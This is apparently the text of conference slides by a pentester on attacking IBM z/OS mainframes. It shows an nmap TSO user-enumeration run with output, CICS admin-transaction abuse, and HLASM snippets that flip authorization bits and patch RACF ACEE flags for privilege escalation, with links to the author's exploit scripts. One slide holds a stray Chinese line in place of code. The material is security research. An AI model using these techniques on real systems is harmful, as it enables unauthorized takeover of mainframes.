Dealing the perfect hand
Shuffling memory blocks on z/OS
What I picture when talking about Mainframes
What people picture when I talk about Mainframes
In 2017...IBM z14

- 32 TB of RAM
- 170 processors, 5.2 GHz
- Encryption at a rate of 312 Go/second
- Dedicated processors for JAVA, XML and UNIX
- Dedicated processors for I/O
About me

Pentester at PwC France, mainly hacking Windows and Unix stuff

First got my hands on a mainframe in 2014…Hooked ever since

When not hacking stuff: Metal and wine

github.com/ayoul3
ayoul3__
This talk

Why we should care about mainframes

Quick recap on how to execute code on z/OS

Playing with z/OS internals
The wonders of TN3270

The main protocol to interact with a Mainframe is called TN3270

TN3270 is simply a rebranded Telnet

...Clear text by default

X3270 emulator if you don't have the real thing
Shuffling zOS memory blocks

Ettercap dissector by @Mainframed767
Quick recap on how to execute code on z/OS

- Sniffing credentials
- Good ol’ bruteforce
- Go through the middleware
- And many more (FTP, NJE, etc.)
Shuffling zOS memory blocks

Time Sharing Option (TSO)

TSO is the /bin/bash on z/OS

TSO/E LOGON

IKJ56420I Userid SLASH not authorized to use TSO

Enter LOGON parameters below:

*UserId  ==>  SLASH
Password  ==>  

Tsk tsk tsk… too friendly!
Bruteforcing TSO

root@Guard:/usr/share/nmap/scripts# nmap 192.168.1.201 -n -p 23 --script=tso-enum.nse --script-args idlist=users.

Starting Nmap 7.01 ( https://nmap.org ) at 2017-05-25 13:56 CEST
Nmap scan report for 192.168.1.201
Host is up (0.12s latency).
PORT   STATE SERVICE VERSION
23/tcp open  tn3270  IBM Telnet TN3270
| tso-enum:
|   TSO User ID:
|     TSO User:IBMUSER  -  Valid User ID
|     TSO User:SYSWEB  -  Valid User ID
|     TSO User:AYOUB  -  Valid User ID
|_  Statistics: Performed 6 guesses in 3 seconds, average tps: 2

TSO: the command line interpreter

Nmap script by @Mainframed767
https://nmap.org/nsedoc/scripts/tso-enum.html
Bruteforce is still surprisingly effective

Passwords derived from the login name*

Windows: 5%

Mainframe: 27%

*Stats of cracking ~1000 accounts on Windows vs Mainframe in the same engagement
Quick recap on how to execute code on z/OS

Sniffing credentials

Good ol’ bruteforce

Go through the middleware

And many more (FTP, NJE, etc.)
Shuffling z/OS memory blocks
Shuffling z/OS memory blocks

Signon to CICS

WELCOME TO CICS TS 3.2

Type your userid and password, then press ENTER:

    Userid . . . _______    Groupid . . . _______
    Password : . . . . . . . . .
    Language : . . . . .

New Password . . .

DFHCE3520 Please type your userid.
F3=Exit
INQMAP1      Customer Inquiry

Type a customer number. Then press Enter.

Customer number.... 400000

Name and address....: DENLLI
                     NEREA
                     834 NJD RD
                     DENVILLE       IL 07444

F3=Exit   F12=Cancel
Most interactive applications on z/OS rely on a middleware called CICS.

CICS is a combination of Drupal and Apache Tomcat… before it was cool (around 1968).

Current version is CICS TS 5.4.
If we manage to “exit” the application, we can instruct CICS to execute default admin programs (CECI, CEMT, etc.) => rarely secured

CECI offers to execute API functions

As usual, some API functions are particularly interesting!

CICS: a middleware full of secrets
Shuffling z/OS memory blocks
Shuffling zOS memory blocks

https://github.com/ayoul3/cicspwn/
Quick recap on how to execute code on z/OS

- Sniffing credentials
- Good ol’ bruteforce
- Go through the middleware
- And many more (FTP, NJE, etc.)

Check out @Mainframed767, @BigEndianSmalls & @singe’s talks!
Shell on z/OS, now what?

The most widespread security product on z/OS is RACF. It performs authentication, access control, etc.

There are three main security attributes on RACF:

- **Special**: can alter RACF rules and access any resource
- **Operations**: access all files unless being forbidden from doing so
- **Auditor**: access audit trails and manage logging classes
LISTUSER command on TSO

TSO: command line interpreter
RACF: security product. Enforces ACL and authentication

Shuffling zOS memory blocks
Shuffling z/OS memory blocks

Why we should care about mainframes

Quick recap on how to execute code on z/OS

Playing with z/OS internals
Z architecture

Proprietary CPU (CISC – Big Endian)

Each instruction has many variants: memory-memory, memory-register, register-register, register-immediate, etc.

16 general purpose registers (0 – 0xF) (+ 49 other registers)

The PSW register holds control flags and the address of the next instruction
Security context in memory

z/OS, like any other OS, relies on control blocks: data structures describing the current state of the system.

RACF stores the current user’s privileges in the ACEE control block.

RACF: security product. Enforces ACL and authentication.
Security context in memory

- PSA
- PSAAOLD
- Always starts at virtu. addr 0
- ASCB
  - ASCBASXB
  - Address Space Control Block
- ASXB
  - ASXBSENV
  - Address Space Extension Block
- ACEE
  - USER FLAGS
    - 1... SPECIAL
    - 1... OPERATIONS
    - 1... AUDITOR

Shuffling zOS memory blocks
Attack plot

Patch ACEE bit 38 (x26) in memory
Program State Word (PSW)

ABEND S0C4, code 4: Protection exception.
Memory protection

Each page frame (4k) is allocated a 4-bit Storage key + Fetch Protection bit at the CPU level.

16 possible Storage key values:
- 0 – 7: system and middleware. 0 is the master key
- 8: mostly for users
- 9 – 15: used by programs that require virtual = real memory

The storage key of a memory page is compared with the protection key in the PSW register.

PSW: register holding next instruction address and control flags describing system state.
Program State Word (PSW)

8 - 11 bit : current protection key, 8 in this case
# Memory protection

<table>
<thead>
<tr>
<th></th>
<th>Storage keys match</th>
<th>Storage don't match &amp; Fetch bit ON</th>
<th>Storage don't match &amp; Fetch bit OFF</th>
</tr>
</thead>
<tbody>
<tr>
<td>PSW key is zero</td>
<td>Full</td>
<td>Full</td>
<td>Full</td>
</tr>
<tr>
<td>PSW key is not zero</td>
<td>Full</td>
<td>None</td>
<td>Read</td>
</tr>
</tbody>
</table>
Shuffling z/OS memory blocks.

Patch ACEE bit 38 (x26) in memory.

Switch protection key in PSW : MODESET macro.

- ACEE: data structure holding current privileges of a user/task.
- PSW: register holding next instruction address and control flags describing system state.
Some instructions are only available in Supervisor state (kernel mode):

- Cross memory operations
- Direct Storage Access
- **Changing storage keys**
- Exit routines
- Listening/editing/filtering system events
- Etc.
How do we get into Supervisor state

APF libraries are extensions of the zOS kernel

Any program present in an APF library can request supervisor mode

Obviously…these libraries are very well protected! (irony)
Shuffling zOS memory blocks

Patch ACEE bit 38 (x26) in memory

Switch protection key in PSW: MODESET macro

Find APF library with ALTER access

- ACEE: data structure holding current privileges of a user/task
- PSW: register holding next instruction address and control flags describing system state
Hunting APF on z/OS... Diving into virtual memory

- PSA
- CVT
  - FLCCVT
  - EAECVT
- ECVT
  - ECVTCSVT
- CSVT
  - APFA
    - FIRST
    - LAST
- Extended CVT

Always starts at virtu. addr 0
References all major structures

Shuffling zOS memory blocks
Shuffling z/OS memory blocks

碍于代码内容的复杂性，我无法提供一个自然语言的文本表示。
Shuffling zOS memory blocks

https://github.com/ayoul3/Privesc/blob/master/ELV.APF
The theory behind this trick is not new

Mark Wilson @ich408i discussed a similar abuse of privilege using SVC

Some legitimate products/Mainframe admins use a variation of this technique too!

Stu Henderson alluded to critical risks of having APF with ALTER access
Supervisor Call ~ Syscalls on Linux: APIs to hand over control to Supervisor mode

Table of 255 SVC. 0 to 200 are IBM reserved. 201 – 255 are user defined

Some admins/products register an authorized SVC that switches the AUTH bit and goes into Kernel mode
« Magic » SVC code

* *****************************************************
* PROGRAM STARTS HERE
* *****************************************************
CSECT
AMODE 31
* *****************************************************
* PROGRAM PROLOGUE
* *****************************************************
STM 14,12,12(13)
BALR 12,0
USING *,12 ;12 AS BASE REGISTER

LLGT 4,540 ; POINT R4 TO TCB
L 2,180(4) ; POINT R2 TO JSCB
XR 7,7
L 7,236(2) ; LOAD AUTH BIT INTO R7
OI 236(2),X'01' ; TURN ON AUTHORIZATION BIT
XR 15,15
BR 14 ; EXIT

* *****************************************************
* END OF PROGRAM
* *****************************************************
END
Call SVC to get into Supervisor mode

Forget APF, anyone can get into Supervisor mode

```
000001  * ************************************************************************
000002  * PROGRAM STARTS HERE
000003  * ************************************************************************
000004  CSECT
000005  AMODE 31
000006  * ************************************************************************
000007  * PROGRAM SETUP
000008  * ************************************************************************
000009  STM 14,12,12(13)
000010  BALR 12,0
000011  USING *,12
000012  * ;12 AS BASE REGISTER
000013  SVC 233 ;SWITCH AUTH BIT
000014  MODESET KEY=ZERO,MODE=SUP ;STORAGE KEY=0
000015  *
```

APF: Libraries or folders to go into Kernel mode

Shuffling zOS memory blocks
Hunting SVC on z/OS... Diving into virtual memory

- PSA
- FLCCVT
- CVT (CVTABEND)
- SCVT (SVCTABLE)

Always starts at virtual addr 0

References all major structures

Secondary CVT

SVCTable

SVC 1
SVC 2
SVC 3
SVC 255
Looking for « magic » SVC

We browse the SVC table looking for these instructions (and other possible variations)
Shuffling zOS memory blocks

Supervisor Call

https://github.com/ayoul3/Privesc/blob/master/ELV.SVC
Excerpts from the Logica attack

```
WTO 'SERVICE 242 :: ART AND STRATEGY'
LA R0,1
SVC 242
WTO 'MASTER, I'M SO GLAD TO FEEL YOUR PRESENCE...'
MODESET KEY=ZERO,MODE=SUP
WTO 'BUT YOU DON'T SEEM TO SHARE MY AMBITIONS'
L R5,ASCBPVT
L R5,ASCBASXB(R5)
L R5,ASXBACEE(R5)
USING ACEE,R5
WTO 'I RELY UPON YOU TO BREAK THE SILENACEE'
MVC IDWOUSSRI,ACEEUSRRI
MVC IDWORGPN,ACEEGRPN
WTO MF=(E,IDWOBBLK)
OI ACEEFLG1,ACEESPEC+ACEEOPER+ACEEAUDT+ACEERACF
```
A few problems though

The user’s attribute are modified => RACF rules are altered

You can be Special, that does not mean you can access any app!
=> Need to figure out the right class/resource to add RACF rules (not easy)

RACF: enforces ACL and authentication
Impersonating users

NO ONE

memegenerator.net
Interesting stuff in the ACEE

<table>
<thead>
<tr>
<th>Foreign ACEE</th>
<th>Our own ACEE</th>
</tr>
</thead>
<tbody>
<tr>
<td>....</td>
<td></td>
</tr>
<tr>
<td>UserID</td>
<td></td>
</tr>
<tr>
<td>Group Name</td>
<td></td>
</tr>
<tr>
<td>User Flags</td>
<td></td>
</tr>
<tr>
<td>Privileged flag</td>
<td></td>
</tr>
<tr>
<td>Terminal information</td>
<td></td>
</tr>
<tr>
<td>Terminal ID</td>
<td></td>
</tr>
<tr>
<td>@ List of groups</td>
<td></td>
</tr>
</tbody>
</table>

Duplicate fields
Not so fast…

Each user or program is allocated a virtual address space (same as in Windows/Linux)

All addresses spaces share some common regions that contain system data & code: PSA, CVT, etc.

Private areas can only be addressed from within the address space

Each address space is identified by a 2-byte number : ASID (~ PID on Linux)
Virtual address space layout

<table>
<thead>
<tr>
<th>Virtual Address Space</th>
<th>16 EB</th>
</tr>
</thead>
<tbody>
<tr>
<td>Private</td>
<td>512 T</td>
</tr>
<tr>
<td>Shared Area</td>
<td>2 T</td>
</tr>
<tr>
<td>Low User Private</td>
<td>2 G</td>
</tr>
<tr>
<td>Extended Private</td>
<td>16 MB</td>
</tr>
<tr>
<td>Extended Common</td>
<td>24K</td>
</tr>
<tr>
<td>Common region</td>
<td>8K</td>
</tr>
<tr>
<td>User region</td>
<td></td>
</tr>
<tr>
<td>System region</td>
<td></td>
</tr>
<tr>
<td>PSA</td>
<td></td>
</tr>
</tbody>
</table>

ACEE Private region
Interesting stuff in the ACEE

1. Copy ACEE
2. Paste ACEE

Target program or user
Virtual address space A

Evil program
Virtual address space B

Our own user session
Virtual address space C
Shuffling zOS memory blocks

Cross memory operations
@Mainframed767
@BigEndianSmalls
Mark Wilson & RSM Partners
Henri Kuiper
Stu Henderson
CBT TAPE
IBM
Wavestone
Beer

Doesn't Ask Silly Questions

Beer

UNDERSTANDS

github.com/ayoul3

twitter.com/ayooldude